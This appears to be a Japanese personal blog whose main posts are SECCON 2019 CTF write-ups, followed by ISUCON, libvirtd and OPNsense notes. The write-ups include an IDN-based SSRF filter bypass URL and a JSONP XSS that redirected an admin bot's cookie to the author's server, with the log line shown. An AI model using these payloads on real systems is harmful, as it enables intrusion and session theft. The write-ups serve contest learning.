SECCON 2019 国内本選 writeup

チーム「yharima」で、 SECCON 2019 の国内本選に出ていた。結果は 7 位。僕自身は、比較的解きやすい問題に手を付けたものの、それでも難易度が高くなかなかに手が出せる箇所が少ない状態が続いていた。解いたものについて write up。

Factor the flag

大きな数が一つ書いてあり、「大きな素数の中にフラグを隠した」と問題文が主張しているので、まずは素因数分解を試みた。13 と 97 で割れたが、その後残った数字の約数はざっくり探した範囲だと見つからなかった。factordb は「Probably Prime Number」という判定になっており、ほとんどの桁が 1 か 9 で例外は最後の 3 桁のみだった。

色々試みたものの、数全体をバイナリと解釈したり 1 と 9 を二進数の二文字とみなしたりしても “SECCON{” に当てはまりそうな解釈の仕方も見当たらなかった。ふと、 9 がたいてい何回か連続していて 9 が妙に少ないことなどが気になったのと、テキストエディタで狭目の幅で開いたりすると微妙にパターンがありそうに見えたので、 1 と 9 は白と黒として解釈することを試そうと思い、幅を変えながら 1 をスペース、9 を # にして表示していくと、途中でフラグが出てきた。

                                                                                                 |
                                       ##                                                 ##     |
 ###  #####  ###   ###   ###  #   #   #   #####  ###    ##   ###   ###  #####       ####    #    |
#   # #     #   # #   # #   # ##  #   #   #     #   #   ##  #   # #   #     #       #   #   #    |
#     #     #     #     #   # # # #   #   #     #   #  # #  #   # #   #    #        #   #   #    |
#     #     #     #     #   # #  ##   #   ####      #  # #      #  # #     #  ####  #   #   #    |
 ###  ####  #     #     #   # #   # ##        #    #  #  #     #    #     #   # # # ####     ##  |
    # #     #     #     #   # #   #   #       #   #   #  #    #    # #    #   # # # #       #    |
    # #     #     #     #   # #   #   #   #   #  #    #####  #    #   #  #    # # # #       #    |
#   # #     #   # #   # #   # #   #   #   #   # #        #  #     #   #  #    # # # #       #    |
 ###  #####  ###   ###   ###  #   #   #    ###  #####    #  #####  ###   #    # # # #       #    |
                                       ##                                                 ##     |
import sys
import math


num=1401111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111222079111111111111111111111111111111111111111111111222079112230890319889030880230880230889200120012002319889030879222080230880230890319887911122318879211992120012999912120013000013000013100892001200119912120012002208920013000011991211991112120012001199211991211991211991211991212001301010000120011991212001209300092001300001199211991111212001200119921199121199121199121199121200130010208012002318879112120929999112120929999121210318889200120011991223089031888919912119912120013000013100791111211992120920919912119921199121200130101111887912220791121299991211991211991212001300001200119911121200120012091992119921299992120013010099991112119911112129999121199121199121200130000120012001200120919922319888919921200120919921301009999111211992120012999912120013000013000013000012001200120012999911112120919912120012091992130100999911121199122308903198890308802308802308892001200119922308903198879212103198890308801199213010099991112119911111111111111111111111111111111111111122207911111111111111111111111111111111111111111111122207911111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111239593

i = 1
while num != 1 and i < 100000:
    i += 1
    while num %  i == 0:
        print i
        num = num / i

cand_ramaining = -1

for i in range(0, 256):
    if (i * ord('}')) % 256 == num % 256:
        cand_remaining = i

#print cand_remaining
print num

s = str(num)

for i in range(2,len(s)):
    print i
    for j in range(1,len(s)):
        if s[j] == '9':
            sys.stdout.write('#')
        else:
            sys.stdout.write(' ')

        if j % i == 0:
            sys.stdout.write('|\n')
    a = raw_input()

num2 = 0
while num > 0:
    d=0
    if num % 10 == 9:
       d=1
    num2 = num2 * 2 + d
    num /= 10

num2 = num2 / 128
a = []
while num2 > 0:
    a.insert(0, num2 % 256)
    num2 = num2 / 256

#for i in range(0, len(a)):
#    sys.stdout.write(chr(a[i]))
exit()

lo = 1
hi = num

while lo < hi:
    mid = (lo + hi ) /2
    if mid * mid == num:
        lo = mid
        hi = mid
        break
    if mid * mid < num:
        lo = mid + 1
    else:
        hi = mid - 1
i = hi + 1

while num != 1:
    while num %  i == 0:
        print i
        num = num / i
    i -= 1

syzbot panic

基本的に syzbot 関係の問題が書いてあり、 Q1 – Q5 の答えをつなぎ合わせたものがフラグ、という問題。Q1 は syzbot 自体の管理アプリの URL (の FQDN)を答える問題で、 Q2-Q5 は syzbot で見つけたバグや syzbot 自体に当てられたパッチのハッシュの先頭 10 文字を答える問題。

Q1 は syzbot で検索すると https://syzkaller.appspot.com/ にあるようだったが、 https://www.syzkaller.appspot.com/ にもヒットした。ただし、 www. がついている方がサーバが見た目としては FQDN っぽさはあるものの、後者は TLS 証明書が正しく認識できず、ドメイン名自体は前者の方が正しいと言えるように思えた。

フラグの形式が SECCON{$answer_for_Q1+$answer_for_Q2+$answer_for_Q3+$answer_for_Q4+$answer_for_Q5}と示されており、これが 73 文字と示されていた。Q2-Q5はそれぞれ git のハッシュの先頭 10 文字なので、数えてみると syzkaller.appspot.com が正解なら “+” は必要、 www.syzkaller.appspot.com が正解なら “+” は結合を示すために書いてあるだけで不要ということになる。+ は直観的には書かないのではないかと思っていたが、わざわざ $ で、文字列に埋め込める変数名っぽい書き方をしているあたりどちらの可能性もあった。結局、二通りならどちらも試せばよいか、ということで提出する時に考えることにした。結論としては syzkaller.appspot.com にして、 + はつける、が正解だった。

Q2 はマルチスレッド環境下でカーネルのメッセージを正しく読めないものに対する、 Tetsuo Handa 氏によるパッチのハッシュを答えよ、というものだった。

最初に 検索すると LKML に LKML: Tetsuo Handa: Re: [PATCH] x86: Avoid pr_cont() in show_opcodes() という投稿が出てきて、これがあてはまりそうだと判断していた。その後 Q4 について調べているときに、セキュリティ・キャンプ全国大会2019 解析トラック E5 The SYZBOT CTF 2019.8.5 という記事に関連する記述があることを見つけ、特に Q4 も Tetsuo Handa 氏が関わっている話題であることがわかったこともあり Q2, Q4 ともこの記事の関係者による作問であることが推測できた。

そのため、 Q2 は x86: Avoid pr_cont() in show_opcodes() · torvalds/linux@8e974b3 のパッチを当初はフラグとして送ろうとしたが、不正解だった。調べなおしたところ、 kernel/git/torvalds/linux.git – Linux kernel source tree に直したら通った。

Q3 についてはなかなかよくわからなかったが、他の Q について調べている間に他のチームメンバーが BUG: workqueue lockup (2)kernel/git/torvalds/linux.git – Linux kernel source tree が関連しそうとのリンクを見つけて Discord に貼ってくれたので、これで提出した。

Q4 については Q2 で挙げた セキュリティ・キャンプ全国大会2019 解析トラック E5 The SYZBOT CTF 2019.8.5 が見つかり、これの 6.1 章のリンク先から Re: INFO: task hung in __sb_start_write – Tetsuo Handaprog: sanitize calls after hints mutation · google/syzkaller@06c33b3 に辿り着き、このコミットで提出した。

Q5 については struct とか syzbot とかのキーワードで色々検索していた結果、 LKML: Dmitry Vyukov: Re: BUG: unable to handle kernel NULL pointer dereference in mem_serial_out というページが見つかり、 Q2 や Q4 と同じく Tetsuo Handa 氏によるメールが出てきたうえに当該の原因の特定はわずか数日前の新鮮なネタであることがわかった。リンク先の https://github.com/google/syzkaller/blob/master/sys/linux/dev_ptmx.txt.warn#L20-L25 自体は該当部分ではなかったものの、ここ一週間とかのことのようなので、この syzkaller リポジトリのコミット履歴を新しいほうから見たところ、 tools/syz-check: add description checking utility · google/syzkaller@64ca0a3 が見つかった。これで提出。

SECCON{syzkaller.appspot.com+15ff2069cb+966031f340+06c33b3af0+64ca0a3711}

壱(1)

Jeopardy 以外の問題は記憶の限りでは名前はなく、番号だけだったが、一度 TCP に繋いだ後 UDP のパケットを指示に従って送り続ける問題。

問題のサーバのチームごとに一位に定まるポート番号(yharima チームは 25000)に接続する案内と、プロセスのバイナリが置いてあり、問題文に「全チームが点数を得られなくなった場合とトラブルを除いて、チームのサービスプロセスがおかしな状態になってもプロセスは再起動しない」旨の警告があった。

実際に 25000/tcp に接続すると、トークンを聞かれ、適当に答えると次につなぐべき(今度は UDP の)ポートを案内された。またこの時点で、 Attack Flag は降ってきた(Attack Flag: SECCON{P13453 +4K3 C4R3})。しかし、一度繋いでポート番号を得るとそのチームは次に 25000/tcp に繋いでも何も出ないようだ。

案内された次に繋ぐべき UDP ポートにトークンを送るとまた次のポートが案内され、しばらく手動で繰り返すと “You Lose!” という案内が来た。

バイナリを読んでいた yuta1024 とこの話をしていたところ、どうやら制限時間があるようだった。

しかし、このプロセス、一度他のポートで待ち受けている状態になると 25000/tcp では繋がりすらせず、さらに言えば You Lose! のあとも(この時点で逆アセンブリされたコードを読んだ yuta1024 は You Lose! のあとは元に戻るはずと言っていたし、後から Hopper で逆アセンブルした僕が見ても元に戻るはずだと判断したが、この時は何が起こっているかわからなかった)一切応答がなくなって何もできなくなった。再起動はしない、の警告の理由がようやくわかったが、要はどうにもならないのか、とこの時は判断した。しかし、しばらく放置するとなぜか接続が復活した(今から考えればプロセスが再起動されていると判断されることが、これに限らず何度かあったが、条件は謎)。ただ、どういう条件で復活するのかは全くわからなかった。幸い、 25000/tcp が割り当てられたチームに対しては 25000-25999 の udp しかこないことだけはわかった。

とはいえ、偶然の復活に期待して進めていたところ、ある程度自動化して20秒(これが繰り返すと縮まることを、この時はまだ知らない)以内に10回返信すれば、最初に指定したトークンが Defense Flag (5分ごとにチームごとの Defense Flag が特定の場所にあるかチェックされ、特定の場所に含まれていると点数が入る。チェック作業が完了するとチームごとに書き込むべき Flag は変更される。これ自体は参加者全員に対し、全チーム分が公開情報。)として追記される。すなわち、解き方自体は、「自分のチームの Defense Flag を取得し、それを認証トークンとして 25000/tcp に投げたあと、指示されるポートに投げては返信されるポートに追随する」を繰り返すことであることがわかった。ただし、一日目はサーバの状態を見失い、できることがなくなった。

二日目の開始時刻である 10:00 になり、一度でもおかしなことをすると二度と解けなくなるリスクを認識していたのでプロセスが不完全な状態でパケットを投げることを恐れてしばらく待ってからここまでの成果を投げたところ、これはうまくいった。しかし、しばらくするとこれも動かなくなっていた。いつの間にか制限時間が20秒から1秒になっていた。結局色々追うと、プロセスが生きている限り一度繋ぐたびに制限時間が1秒ずつ減る(1秒になったらそれ以上は減らない)ようだった。

また、見失う現象についてもわかったことがあった。 25000/tcp で accept して、次のポートを案内した後は、 10 回謎ポートでトークンつきでノックするまで 25000/tcp で次の accept をしないので、変なパケットがサーバ側のキューに残っているとクライアント側でまた新規受付扱いされてしまい、10 回謎ポートをやり直ししないといけなかった。幸い、 25001-25999 であることはわかっていたし、運よく再度つながる状態に戻ったタイミングの繰り返しで培った謎ノウハウでトークンもローカルのファイルに都度保存するようにしたので、 25001-25999 の全ポートにトークンを投げつつ一度でもヒットすればあとは次のポートへの接続をする「復活スクリプト」も温まってきた。偶然失敗したがポート番号だけはわかっている場合用に、もっと速いスクリプトも用意した。少しミスしただけでも 1000 ポートに対する試行、しかも失敗した時点での Defense Flag の候補が複数ある場合はその数だけ試す必要があるが、それでも手も出せない状態と違って自力で復活を試みれた。

ただし 1 秒の制限は結局突破できなかった。2秒になるまでは進んだし、その状態でローカル計測で運が良ければ 0.9 秒までは短縮できたものの、実際にそれで 1 秒制限を通すことはできなかったようで、制限が 1 秒になってからは一度も突破できなかった。

CTF オンサイト会場は東京の秋葉原にあり、チームに割り当てられた IP アドレスはオンサイト会場に設置されたチーム用のルーターから接続する必要があった。一方でこの LAN からインターネットに出た場合のグローバル IPv4 アドレスは whois でも SAKURA-ISHIKARI という netname がついており、 CTF のサーバもこの部屋のネットワークの経路も何もかも北海道石狩市にあることが容易に想像できた。この問題のサーバへの RTT も 20ms を超えており、加えて前のポートへの接続で次のポート番号を経てから 59ms 程度 sleep しないと次のポートへの接続が失敗することがある(次のポート番号を送ってから、実際に bind するまでに時間がかかる。UDP のためクライアント側もそれに気づかない。短めでも毎回は起こらないが、なんとか一度も起こさず通せると判断したラインがローカルでは 59ms だった)ことも試行でわかり、それだけで 10 往復で 0.9 秒以上かかるのでかなり絶望的だった。何度かローカル計測で 0.95 秒未満までは達成した気がするが、結局のところ、ラップトップの省電力を解除したり、仮想マシンのネットワークを NAT からブリッジに切り替えたりしても、ついに 1 秒制限で実際に通すことはできなかった。シェルで書いていたかつ失敗の復旧に時間がとられていて C 言語への書き換えなどの作業をするどころではなかったが、何らかの書き換えを行い、投機的にパケットを何度か投げて全部のパケットを後から回収すれば 1 秒制限でも可能性はあったかもしれない。そしてそうこうしているうちにうちのチームのサーバがおかしな状態になり、どの defense flag を token としているうちにおかしくなったのかもよくわからなくなり色々試しているうちにコンテストが終わってしまった。

最終的に使った(2秒制限までは通ったが、1秒制限は通らなかった)コードは以下の通り。

#!/bin/bash -x

sync

# PHPSESSID は今となっては何の価値もないセッション ID のはずではあるが、コンテストの説明で何度もスコアページの権限を厳重に管理するよう何度も二か国語で説明があったので、コンテストの趣旨に則り伏せた。
defense_key=$(curl -b 'PHPSESSID=CENSORED' http://score-dom.seccon/flagwords/ | grep yharima | grep -v 'Team Name' | sed -e 's/<th>yharima<\/th><td>//' -e 's/<\/th><\/tr>//')

echo $defense_key
echo $defense_key >> defense_keys.txt

echo $defense_key | timeout 2 nc 10.1.1.1 25000 > output.txt
cat output.txt
cp output.txt output2.txt
cat output.txt >> output_all.txt

port=$(cat output.txt | grep 'first port is' | sed -e 's/^.*first port is //' -e 's/, time .*$//')
echo $port

start_time=$(date +%H:%M:%S.%N)

while true
do
  flag=F
  for i in 1 2 3
  do
    portstr=$(echo $defense_key | timeout 0.11 nc -u 10.1.1.1 $port | dd bs=18 count=1)
    #echo $portstr >> /dev/shm/output_all.txt
    if [ "a$portstr" != "a" ]
    then
      break
    fi
    echo -e '\e[31mRETRY\e[m'
  done
  port=$(echo -n $portstr | tail --bytes +14)
  echo $port
  if [ "x$portstr" = "x" ]
  then
    echo -e '\e[31mSURVEY NEEDED\e[m'
    exit 1
  fi
  if [ "$portstr" = "You Won!" ]
  then
    echo $start_time
    date +%H:%M:%S.%N
    echo -e '\e[32mSUCCEEDED\e[m'
    exit 0
  fi
  if [ "$portstr" = "You Lose!" ]
  then
    echo $start_time
    date +%H:%M:%S.%N
    echo -e '\e[31mYOU LOSE\e[m'
    exit 1
  fi
  sleep 0.059
done

なお、懇親会中に、このコンテストに関わった Network Operation Center の方々の紹介の時間があり、その際に改めて思い出したが、このコンテストのネットワーク環境は極めて安定しており、快適だったと感じる。インターネット接続でストレスを感じることがなかったし、コンテスト関係のシステムに繋ぎに行くのにもストレスを感じることもなかった。しかし、改めて思えば、東京都から北海道石狩市は通常でも 20ms 以上の RTT が必要な距離なのに、 UDP の問題を純粋に解くコードも回復スクリプト等も timeout 0.12 nc -u 10.1.1.1 $port_num のような感じで「東京秋葉原から UDP パケットを投げ、 120ms 以内に石狩市のサーバから返事が返ってこないと失敗扱い(しかも、失敗が正しいと見做して次に進むので、あとになって結果が間違いとわかる)」という処理を乱発しても、気付く範囲での問題が発生しない程度の安定したネットワークが保たれていた。コンテスト中はぎりぎりまで詰めることしか頭になかったが、冷静に考えたら 120ms で何もかも捨てるスクリプトは色々おかしいし、これが動いたのはネットワークが相当安定していたからだと思う。このコンテストの関係者の方は全員に感謝したいが、中でもこのネットワーク管理(しかも今回からクラウド移行したという)の関係の方には賛辞を送りたいと思う。

(追記)チームメンバーの write up

SECCON CTF 2019 国内決勝 writeup – yuta1024’s diary
SECCON 2019 国内決勝 writeup – liniku’s blog

SECCON 2019 予選 write up

チーム「yharima」で SECCON 2019 CTF の予選に参加していた。1954点、45位だった。

coffee_break

暗号化スクリプトと、暗号文がおいてある。鍵も置いてあるので、読みながら順番に元に戻すコードを書いて復元する。

import sys
from Crypto.Cipher import AES
import base64


def encrypt(key, text):
    s = ''
    for i in range(len(text)):
        s += chr((((ord(text[i]) - 0x20) + (ord(key[i % len(key)]) - 0x20)) % (0x7e - 0x20 + 1)) + 0x20)
    return s

def decrypt(key, text):
    s = ''
    for i in range(len(text)):
        s += chr((((ord(text[i]) - 0x20) - (ord(key[i % len(key)]) - 0x20) + (0x7e-0x20+1)) % (0x7e - 0x20 + 1)) + 0x20)

    return s


key1 = "SECCON"
key2 = "seccon2019"
#text = sys.argv[1]

#enc1 = encrypt(key1, text)
cipher = AES.new(key2 + chr(0x00) * (16 - (len(key2) % 16)), AES.MODE_ECB)
#p = 16 - (len(enc1) % 16)
#enc2 = cipher.encrypt(enc1 + chr(p) * p)
#print(base64.b64encode(enc2).decode('ascii'))

crypted='FyRyZNBO2MG6ncd3hEkC/yeYKUseI/CxYoZiIeV2fe/Jmtwx+WbWmU1gtMX9m905'
crypt_raw=base64.b64decode(crypted)
enc1 = cipher.decrypt(crypt_raw)

enc1 = enc1[:-5]

print decrypt(key1, enc1)

SECCON{Success_Decryption_Yeah_Yeah_SECCON}

Option-Cmd-U

繋ぐと、指定した URL に接続し、取得した HTML を表示してくれる。ソースコードも公開されている。フラグは /flag.php にあるが、こちらは内部ネットワークからしか見れないとのこと。Docker で構成され、 http://nginx/ に繋げばよさそうな雰囲気が漂っているが、 IP アドレス確認で nginx と一致するとはじかれる仕様になっている。

当該ソースコードには、以下のような部分があった。

                        $url = filter_input(INPUT_GET, 'url');
                        $parsed_url = parse_url($url);                        
                        if($parsed_url["scheme"] !== "http"){
                            // only http: should be allowed. 
                            echo 'URL should start with http!';
                        } else if (gethostbyname(idn_to_ascii($parsed_url["host"], 0, INTL_IDNA_VARIANT_UTS46)) === gethostbyname("nginx")) {
                            // local access to nginx from php-fpm should be blocked.
                            echo 'Oops, are you a robot or an attacker?';
                        } else {
                            // file_get_contents needs idn_to_ascii(): https://stackoverflow.com/questions/40663425/
                            highlight_string(file_get_contents(idn_to_ascii($url, 0, INTL_IDNA_VARIANT_UTS46),
                                                               false,
                                                               stream_context_create(array(
                                                                   'http' => array(
                                                                       'follow_location' => false,
                                                                       'timeout' => 2
                                                                   )
                                                               ))));
                        }

ここで、 idn_to_ascii という処理を挟んでいるが、ドメイン部をチェックする部分まではよかったものの、その後 file_get_contents で中身を取得する際に URL 全体に対してこの処理をかけてしまっていることに気付く。/や:も生き残るようなので、「正しく URL を解釈した場合にはホスト名が nginx にならず」「URL 全体を idn_to_ascii してしまったら、 nginx につながる URL になる」ような URL を渡すことになる。

全角文字をつけると、ピリオドで区切られた範囲で最初に xn-- が、最後に全角文字を変換した文字が入るので、 http://a:.b@あnginx/ などとするとxn-- は @ の前のパスワード部に、全角文字を変換したものは / のあとになるので、ホスト名をだますことまではできたが、 flag.php のピリオドが邪魔でなかなかうまくいかなかった。

試行錯誤の結果 http://a:hb.@¡nginx:80./flag.php が http://a:hb.xn--@nginx:80-qja./flag.php に変換させるところまではいけたが、 PHP の file_get_contents はポート番号は先頭が数字ならそこだけ解釈するものの、 5 文字以下でないと形式として認識しないようで、うまくいっていなかった。( ¡ は調べた限り idn_to_ascii が返還対象にする中では一番若い Unicode 番号を持っており、これ以上の短縮は厳しいように思えた)

これをチャットに貼ってしばらく悩んでいたところ、チームメンバーが http://a:.@✊nginx:80.:/flag.php なら通るということに気付き、フラグが得たようだ。変換後は http://a:.xn--@nginx:80-5s4f.:/flag.php となり、ポート番号らしき箇所が二つあるが、 PHP はそういうことは気にしないようだ。

SECCON{what_a_easy_bypass_314208thg0n423g}

SPA

過去の SECCON のフラグの一覧が表示され、 2019 年の物に関しては SPA の項目だけあるがフラグが「??????」が震えている表示になるページが表示された。そして、 admin への report 機能がついており、ここに URL を入れると(たとえ外部 URL であっても)admin からヘッドレスブラウザでアクセスが来るようだった。

中を見るとVue で構成されており、# 以下の fragment 部分で切り替わるようになっていた。this.contest = await $.getJSON(`/${contestId}.json`) のようにデータを読み込んでおり、 contestId は fragment のため、ここを書き換えることで外部サーバも含め好きな json にアクセスさせることはできた(例えば http://spa.chal.seccon.jp:18364/#/example.com/a を reportすると、コンテスト情報取得で http://example.com/a.json につなぎにくる)。アクセスを受ける側で Access-Control-Allow-Origin を指定すると、 JSON に書かれた好きな内容を表示させられた。

ただし、基本的には Vue の機能でテンプレートを構成しているので、表示をおかしくすることはできても XSS には至らなかった。他に何かないのかと思い、怪しい部分に近い jQuery の getJSON のドキュメントを見てみると、 “callback=?” が URL に含まれる場合には JSONP として解釈する、といったことが書かれていた。

ということで、 http://spa.chal.seccon.jp:18364/#/example.com/a.js?callback=?& にアクセスさせることで、 js ファイルに書かれた好きな内容を admin に実行させることができた。最初は admin には今年のフラグが見えるのかと思って今年のフラグを遅らせたら null のままで、ならまず管理画面を見られるか試そうと思い document.cookie を送らせたら次のようなリクエストが来たので、 Cookie の中身がフラグだった(”自分のサーバ/a/” + document.cookie にリダイレクトした)。

153.120.128.21 - - [20/Oct/2019:03:33:39 +0900] "GET /a/flag=SECCON%7BDid_you_find_your_favorite_flag?_Me?_OK_take_me_now_:)} HTTP/1.1" 404 209 "http://spa.chal.seccon.jp:18364/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/79.0.3941.4 Safari/537.36"

ISUCON 9 予選に参加した

全然ダメでしたが。

いつものチーム「ワイハリマ」で参加していました。前回は結構惜しいところまで行っていたので今年こそは予選突破するぞ!と言っていたら、全然手も足も出ず 5110 点という結果に。

当日はいつも通り、前半は yuta1024 と yabuuuuu が事前準備したインフラに適合する作業をしつつ kataribe やスローログの準備をしている間に僕がデータベースのスキーマとか、見てわかりそうな部分を改善……しようとしていたのだが、今回は SQL のテーブルは最初からそんなに悪い構造になっておらず、結局効いたのは blob が入っているテーブルで検索にインデックスが効かないため画像ファイルを DB から追い出したことくらい。二人がインフラを改善してくれていたのも効いていたようだ。

その後、 3 人合流して分析にあたり、 /transactions.json がとにかく遅いので、改善に着手した。SQL のトランザクションを貼りっぱなしで ShipmentService に https 接続していたのが、切り離しに成功して少しだけ上がる。

その後は buy が遅いということになった。buy は商品を買おうとする注文で、「在庫のある状態の商品なら、 PaymentService に決済を要求し、決済にも成功すれば購入できる、そうでなければ DB の何もかもロールバック」という処理になっていた。在庫状況を確認するのが SELECT FOR UPDATE になっており、行ロックで決済完了まで進める、という処理になっており、要は「買えそうなら商品を仮抑えして決済し、カード番号が違うとかで決済が失敗すればキャンセル」というごく普通の処理になっていたのだが、どうやら「人気商品に注文が殺到する」という、これまた現実にありそうな注文をしてくるようだった。結果、同じ商品に対するほぼ同時のリクエストが全部ロックされ、 fpm のセッション数すら溢れて nginx が 502 Bad Gateway を返す、ということになっていた。

buy に対する根本的な解決策が思いつかず、行ロック緩和について話し合ったものの雑な処理ではベンチが通らなかったりするので結局改善には至らず。別途他の二人がインフラ周りをいじって、 buy だけ専用機で fpm セッションを食わせるようにしたのはそこそこ効いたようだ。

今回、問題自体はとても良いものだと感じただけに、特にその設けられた課題に対して直接的な何かを何もできず、ただただ前年の本選問題を見てすらいなかったことなどを反省することしかできなかった。しかし、どうすればよかったのか、結局わかっていない。

(追記)チームのリポジトリ https://github.com/yuta1024/isucon9

libvirtd を Ubuntu 18.04 にインストールし、部屋の LAN とブリッジする

自宅では長らく VMware ESXi を使用してきて、大変良かったのだが、ホストが Linux だと何かと楽だろうと考えたりしていたり、DS77U5 への移行のタイミングでホスト側に直接 Docker で入れられるものは直接入れたくなったりしたのもあり、新たに libvirtd を検証開始。意外とすんなり入って中の状態も分かりやすい感じにはなったが、(主に libvirtd に直接関係ない)よくわからないところに罠があったのでメモ。

なおこの前に OpenStack を試そうとしたが、 conjure-up が半端に色々ラップしたまま失敗してどうなっているのかさっぱりわからない状態になったのを見て OpenStack は諦めた。

まずは、 Ubuntu 18.04: 仮想化のKVMをインストールする – Narrow Escape にしたがってパッケージを入れた。ただし、 libguestfs-tools は要らなそうだったので、今のところ入れていない。なお、 /var/lib/libvirt に色々保存するようだったので、通常必要ない操作だがインストール前にこのディレクトリを実際に保存したいパーティションにシンボリックリンクとして指定した。

$ sudo apt install -y qemu-kvm libvirt0 libvirt-bin virt-manager

また、

$ sudo gpasswd libvirt -a `whoami`

続いて、ブリッジネットワークを構成する。いつの間にか(多分 LTS だと 18.04 から?) /etc/network/interfaces がもぬけの殻になっていて、 netplan に移行したから /etc/netplan/ を見ろと言っているので、 /etc/netplan/01-netcfg.yaml を編集した。なおこのファイルの名前は、環境によっては 50-cloud-init.yaml などになるようだ。

なお、ブリッジ側の MAC アドレスは起動するたびにランダムに変わるようで、 DHCP で固定の IP アドレスを配るのに問題があるので、固定した。IP アドレスを static でホスト側で指定するなら不要と思われる。また、 VM で検証しているときはホスト側の仮想スイッチでプロミスキャスモードを禁止しているために通信がうまく行えない罠にはまっていた。

あと、 macvcap でホストの LAN に直接刺せそうな選択肢があるが、これはブリッジではなく NIC をその VM で占有する時に使うもののようなので、 VM とホスト両方、あるいは複数 VM で使うときはブリッジ構成は必要なようだ。

# This file describes the network interfaces available on your system
# For more information, see netplan(5).
network:
  version: 2
  renderer: networkd
  ethernets:
    enp1s0:
      dhcp4: no
  bridges:
    br0:
      macaddress: XX:XX:XX:XX:XX:XX
      dhcp4: yes
      interfaces: [enp1s0]

これで

$ sudo netplan generate
$ sudo netplan apply

などとするとブリッジが構成できたが、古いものが消えなかったりして微妙にこのファイルの定義とずれていくようなので、素直に

$ sudo reboot

するのがよさそう。

これでブリッジが構成されるので、

$ sudo brctl show
bridge name     bridge id               STP enabled     interfaces
br0             XXXX.XXXXXXXXXXXX       no              enp1s0
                                                        vnet0
docker0         XXXX.XXXXXXXXXXXX       no              vethXXXXXXX
                                                        vethXXXXXXX
virbr0          XXXX.XXXXXXXXXXXX       yes             virbr0-nic

みたいな感じで brctl でブリッジが見え、 ifconfig でも DHCP から降ってきた IP アドレスが見れるようになった。

なお、 vnet0 というのが、 libvirtd でブリッジに接続したときに VM と紐づけて作る tap インターフェイスのようだ。なので、この状態で enp1s0, br0, vnet0 は同じ L2 として自由に疎通できそうだが、実際には br0 をまたいだパケットがやりとりされない現象に悩んだ。tcpdump を見ても、 enp1s0 から流れてきたパケットは br0 には流れているが vnet0 には流れず、 vnet0 から流しているはずの DHCP discover も br0 には流れているが enp1s0 には流れなかった。

結局、 networking – why linux bridge doesn’t work – Super User を見て、 iptables が L2 に干渉してくるのか疑問に思いながらも試してみたところ、echo 0 > /proc/sys/net/bridge/bridge-nf-call-iptables によって実際に解決した。よくわかっていないが、どうやら自分のホストに来てしまった時点で L2 な転送でも iptables を通ってしまうようだ。

なのであとは /etc/sysctl.conf 相当のファイルに

net.bridge.bridge-nf-call-iptables = 0

という内容を書くことになるが、ここにも罠があった。

まず、 Ubuntu 18.04 だと /etc/sysctl.d といういかにもディレクトリがあり、 /etc/sysctl.d/README にはご丁寧に

After making any changes, please run “service procps start” (or, from
a Debian package maintainer script “invoke-rc.d procps start”).

とまで書いてあったのだが、なぜか動かなかったので、結局昔ながらのやり方で /etc/sysctl.conf に書き込むことにした。

しかし、これでは sysctl -p /etc/sysctl.conf や invoke-rc.d procps start では反映されるものの、再起動するとなぜか 1 に戻ってしまう。該当範囲は不明だが、少なくとも Ubuntu 18.04 では procps のサービス起動(sysctl.conf 読み込みを実施する)をネットワークが有効になる前に実施してしまうので、ネットワーク関係の設定はここに書いても無視されてしまうようだ: Ubuntu 18.04 で ipv6 を無効にする | 雑廉堂の雑記帳

少なくとも net.bridge.bridge-nf-call-iptables は /etc/rc.local でもうまくいかなかった。そのためネットワーク関係のあれこれが起動しているであろう net if の post-up にねじこみたかったが、FAQ | netplan.io によるとそのようなものはまだないようで、代わりに networkd-dispatcher で設定するよう勧められている。幸い、手元の Ubuntu 18.04 では OS インストール時に networkd-dispatcher がインストールされていたようだったので、次のようなファイルを作成することで、再起動しても sysctl.conf が読み込まれて、ブリッジなら iptables を無視してパケットが行き来できるようになった。

$ cat /usr/lib/networkd-dispatcher/routable.d/99sysctlworkaround
#!/bin/sh
/etc/init.d/procps restart
exit 0
$ ls -al /usr/lib/networkd-dispatcher/routable.d/99sysctlworkaround
-rwxr-xr-x 1 root root 46 Jul  6 20:57 /usr/lib/networkd-dispatcher/routable.d/99sysctlworkaround

これでようやく、 libvirtd に br0 を認識させて、直接 enp1s0 に出ていけるようになった。

MAC アドレスは中からも外からもホストの vnet0 としても、ここに表示されたものになるようだ。ESXi ではマシンを一回立ち上げるまで MAC アドレスがわからないが、 libvirtd + virt-mangaer では最初に起動する前から表示されるので、インストール前に DHCP/DNS に登録できるのは便利。

(2019/7/23 追記)UEFI ベースの VM を移植するに、 UEFI/OVMF – Ubuntu Wiki にあるように apt install ovmf して UEFI 用のファームウェアをダウンロードする必要があった。また、他のところで使っていた UEFI ベースの VM イメージを取り込む際、 BIOS メニューに入る前(Tiano core ロゴ)に F2 を連打してメニューから efi ファイルを直接選択して起動し起動後に grub-install して起動すべきファイルを認識させる必要があった。

OPNsense を Protectli Vault FW1 にインストール、 VyOS と簡単に比較

前回までで、 Protectli Vault FW1 に VyOS インストール簡単な速度測定をしたので、 OPNsense に乗せ換えて比べてみた。

OPNsense のウェブページから USB メモリ用の img.bz2 をダウンロードして、bz2 を解凍してディスク(パーティションではない)に丸ごと dd で書き込み、そこから boot した。vga なイメージをダウンロードしたにも関わらず画面は Booting で止まり、シリアルポートからしか見えなかった。シリアルポートでも起動時・終了時以外は特に何かが出るわけではないが、起動時にはそれぞれの端子の IP アドレスなどが出るので便利ではある。ちなみに、 115,200 bps なので Vault の BIOS の初期設定と同じでちょうどよい。

Live イメージになっていてそのままでも利用は可能で、”WAN” で DHCP が利用可能だと “LAN” のポート(ただし初期設定では em0 なので、 Vault FW1 では “WAN” と印刷されている)からそのままインターネットに出ることができた(DHCP も動いている)。LAN 側に繋いで 192.168.1.1 宛に ssh (ユーザ名 installer、パスワード opnsense)でインストールできた。その時立ち上がっている WebUI からは installer ログインできないようだ。

起動後も初期設定は WAN と LAN が逆になっているが、管理画面から割り当てを変えることで管理画面の表示と印刷を合わせることができる。割り当て変更直後は DHCP がうまくうごかないのか、一度電源ボタンを単押ししてシャットダウンしたあと起動した。もっといい方法はあるかもしれない。

なお、大抵のサービスは初期設定で全インターフェイスで LISTEN するようになっているので、探して LAN に変更する方がよさそう。

